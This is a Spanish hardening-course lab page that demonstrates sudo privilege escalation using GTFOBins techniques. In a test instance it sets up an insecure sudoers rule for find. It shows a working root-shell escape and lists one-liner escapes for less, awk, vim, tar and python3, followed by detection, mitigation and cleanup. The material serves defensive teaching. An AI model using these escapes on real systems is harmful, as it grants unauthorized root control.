Demostración de escalada de privilegios con sudo y GTFOBins

1. Objetivo y contexto

Conceder permisos sudo sobre utilidades como find, less, vim, awk, tar o python equivale, en la práctica, a otorgar una shell de root. Todas estas herramientas disponen de órdenes internas para invocar un intérprete de comandos, de modo que un usuario autorizado a ejecutarlas como root puede «escapar» a una shell con privilegios de superusuario.

Esta demostración reproduce esa escalada en un entorno controlado con el único fin de que el administrador entienda el riesgo, sepa detectarlo y lo evite. El objetivo no es atacar, sino bastionar, y por eso el peso de la práctica está en las secciones de detección y mitigación.

Realice esta práctica exclusivamente en una instancia de pruebas desechable y sobre la que tenga autorización. La escalada de privilegios en sistemas ajenos o de producción es una actividad ilícita. Los pasos crean de forma deliberada una configuración insegura que se elimina al final.

El proyecto GTFOBins

GTFOBins es un catálogo público de binarios legítimos de UNIX que pueden abusarse para eludir restricciones de seguridad, entre ellas la escalada de privilegios a través de sudo o del bit SetUID. Para cada binario documenta la secuencia exacta que rompe el aislamiento. Es una herramienta tanto para el atacante como para el administrador que audita su sistema, ya que permite comprobar si una utilidad a la que ha concedido privilegios es abusable.

2. Preparación del laboratorio

La demostración necesita un usuario sin privilegios y una regla sudo mal configurada que le permita ejecutar find como root. Es un error habitual en el que un administrador concede sudo sobre find para «facilitar búsquedas en todo el sistema», sin advertir que find puede lanzar una shell.

Ejecute como administrador en la instancia:

# Crea un usuario de pruebas sin privilegios
sudo useradd -m -s /bin/bash operador

# Regla insegura: operador puede ejecutar find como root sin contraseña
echo 'operador ALL=(root) NOPASSWD: /usr/bin/find' | sudo tee /etc/sudoers.d/operador-demo

# Ajusta los permisos que exige sudo para los archivos de /etc/sudoers.d/
sudo chmod 440 /etc/sudoers.d/operador-demo

# Valida la sintaxis antes de dar por buena la regla
sudo visudo -cf /etc/sudoers.d/operador-demo

Los archivos de /etc/sudoers.d/ deben tener modo 440 y pertenecer a root:root, y su sintaxis debe validarse siempre con visudo -cf. Una regla mal escrita puede dejar el sistema sin sudo operativo.

3. Demostración de la escalada

Abra una sesión como el usuario sin privilegios y confirme que no es root:

# En la instancia, conviértase en el usuario de pruebas
sudo -u operador -i

# Comprueba su identidad: uid y gid de operador, no de root
id

El usuario operador consulta ahora, con sudo -l, qué tiene permitido ejecutar, y aprovecha find para obtener una shell de root siguiendo la receta de GTFOBins:

# Muestra los privilegios sudo concedidos a operador
sudo -l

# Escapa a una shell de root a través de find
sudo find . -maxdepth 0 -exec /bin/bash \;

# Dentro de la nueva shell, comprueba la identidad
id

La última orden id muestra uid=0(root). El usuario operador, sin privilegios propios, dispone ahora de una shell con control total del sistema.

Los parámetros empleados en la demostración son los siguientes:

Parámetro Función

Parámetro	Función
`sudo -u operador`	Ejecuta la orden como el usuario `operador` en lugar de como `root`
`sudo -i`	Inicia una shell de inicio de sesión como el usuario destino, con su entorno y su directorio personal, igual que un login real
`id`	Muestra el UID, el GID y los grupos del usuario actual. Sirve para confirmar la identidad antes y después de la escalada
`sudo -l`	Lista las órdenes que el usuario puede ejecutar con `sudo`. Es el primer paso de cualquier auditoría, y también lo que consulta un atacante
`find .`	Ejecuta `find` sobre el directorio actual
`-maxdepth 0`	Limita la acción al propio directorio de partida, sin descender, para que `-exec` se ejecute una sola vez y se abra una única shell
`-exec /bin/bash \;`	Ejecuta `/bin/bash` por cada resultado. Como `find` corre como `root`, la shell hereda el UID 0. El `;` cierra la orden y se escapa como `\;` para que no lo interprete la shell

sudo -u operador

Ejecuta la orden como el usuario operador en lugar de como root

sudo -i

Inicia una shell de inicio de sesión como el usuario destino, con su entorno y su directorio personal, igual que un login real

id

Muestra el UID, el GID y los grupos del usuario actual. Sirve para confirmar la identidad antes y después de la escalada

sudo -l

Lista las órdenes que el usuario puede ejecutar con sudo. Es el primer paso de cualquier auditoría, y también lo que consulta un atacante

find .

Ejecuta find sobre el directorio actual

-maxdepth 0

Limita la acción al propio directorio de partida, sin descender, para que -exec se ejecute una sola vez y se abra una única shell

-exec /bin/bash \;

Ejecuta /bin/bash por cada resultado. Como find corre como root, la shell hereda el UID 0. El ; cierra la orden y se escapa como \; para que no lo interprete la shell

Salga de la shell de root y de la sesión de operador con exit dos veces antes de continuar.

4. Por qué funciona

El problema no es find, sino que sudo ejecuta el proceso completo con privilegios de root, incluido cualquier subproceso que ese programa lance. find está diseñado para ejecutar órdenes con -exec, y al correr como root, la orden que lanza también es root.

La misma idea se aplica a muchas otras utilidades, cada una con su propia sintaxis de escape documentada en GTFOBins:

Binario con sudo Secuencia de escape a shell

Binario con `sudo`	Secuencia de escape a shell
`find`	`sudo find . -maxdepth 0 -exec /bin/bash \;`
`less`	`sudo less /etc/profile`, y dentro teclear `!/bin/bash`
`awk`	`sudo awk 'BEGIN {system("/bin/bash")}'`
`vim`	`sudo vim -c ':!/bin/bash'`
`tar`	`sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash`
`python3`	`sudo python3 -c 'import os; os.system("/bin/bash")'`

find

sudo find . -maxdepth 0 -exec /bin/bash \;

less

sudo less /etc/profile, y dentro teclear !/bin/bash

awk

sudo awk 'BEGIN {system("/bin/bash")}'

vim

sudo vim -c ':!/bin/bash'

tar

sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash

python3

sudo python3 -c 'import os; os.system("/bin/bash")'

GTFOBins documenta cientos de binarios con esta característica. La conclusión para el bastionado es clara: conceder sudo sobre una de estas utilidades equivale a conceder sudo ALL, es decir, control total del sistema.

5. Detección y auditoría

El administrador dispone de las mismas herramientas que el atacante, y debe usarlas de forma preventiva.

5.1. Revisar qué puede ejecutar cada usuario

sudo -l -U <usuario> muestra, como root, los privilegios sudo de una cuenta sin necesidad de iniciar su sesión:

# Privilegios sudo de un usuario concreto
sudo -l -U operador

5.2. Inspeccionar las reglas de sudo

Revise el archivo principal y el directorio de reglas, descartando comentarios y líneas en blanco:

# Reglas activas, sin comentarios ni líneas vacías
sudo grep -rvE '^\s*#|^\s*$' /etc/sudoers /etc/sudoers.d/

Toda regla que conceda sudo sobre un binario concreto debe contrastarse con GTFOBins. Si el binario aparece en el catálogo con una entrada de tipo Sudo, la regla es equivalente a conceder una shell de root y debe rediseñarse.

Preste especial atención a las reglas que permiten ejecutar intérpretes (python, perl, bash), editores (vim, nano, less), gestores de archivos (tar, cp, find) o cualquier herramienta con capacidad de ejecutar órdenes arbitrarias. Son las candidatas naturales a un escape a shell.

6. Mitigación y buenas prácticas

Principio de mínimo privilegio. Conceda sudo solo sobre la acción concreta que el usuario necesita, nunca sobre una herramienta genérica. Si operador solo debe reiniciar un servicio, la regla correcta es operador ALL=(root) NOPASSWD: /usr/bin/systemctl restart nginx, no sudo sobre find ni sobre systemctl completo.
Evite los binarios con escape a shell. No conceda sudo sobre intérpretes, editores ni utilidades catalogadas en GTFOBins. Si es imprescindible, busque una alternativa acotada o un script envoltorio controlado.
Fije argumentos exactos. Una regla como NOPASSWD: /usr/bin/less /var/log/syslog sigue siendo abusable, porque less escapa a una shell con independencia del archivo. Restringir los argumentos ayuda, pero no neutraliza un binario intrínsecamente peligroso.
Audite de forma periódica. Integre la revisión de /etc/sudoers.d/ y el contraste con GTFOBins en las auditorías regulares del sistema.
Defensa en profundidad. Las opciones de montaje noexec, los módulos de control de acceso obligatorio como SELinux o AppArmor, y la monitorización del diario de sudo elevan el coste de un abuso aunque la regla sea deficiente.

7. Limpieza

Revierta la configuración insegura creada durante la práctica. En la instancia:

# Elimina la regla sudo insegura
sudo rm -f /etc/sudoers.d/operador-demo

# Elimina el usuario de pruebas y su directorio personal
sudo userdel -r operador

8. Licencia

Licencia CC BY-NC-ND 4.0

Esta página forma parte del curso Bastionado de Redes y Sistemas © 2026 de José Juan Sánchez Hernández y su contenido se distribuye bajo una licencia Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International.

Esta licencia exige que quienes reutilicen el material otorguen el debido crédito al autor. Permite copiar y redistribuir el material en cualquier medio o formato, únicamente en su forma original, y solo para fines no comerciales.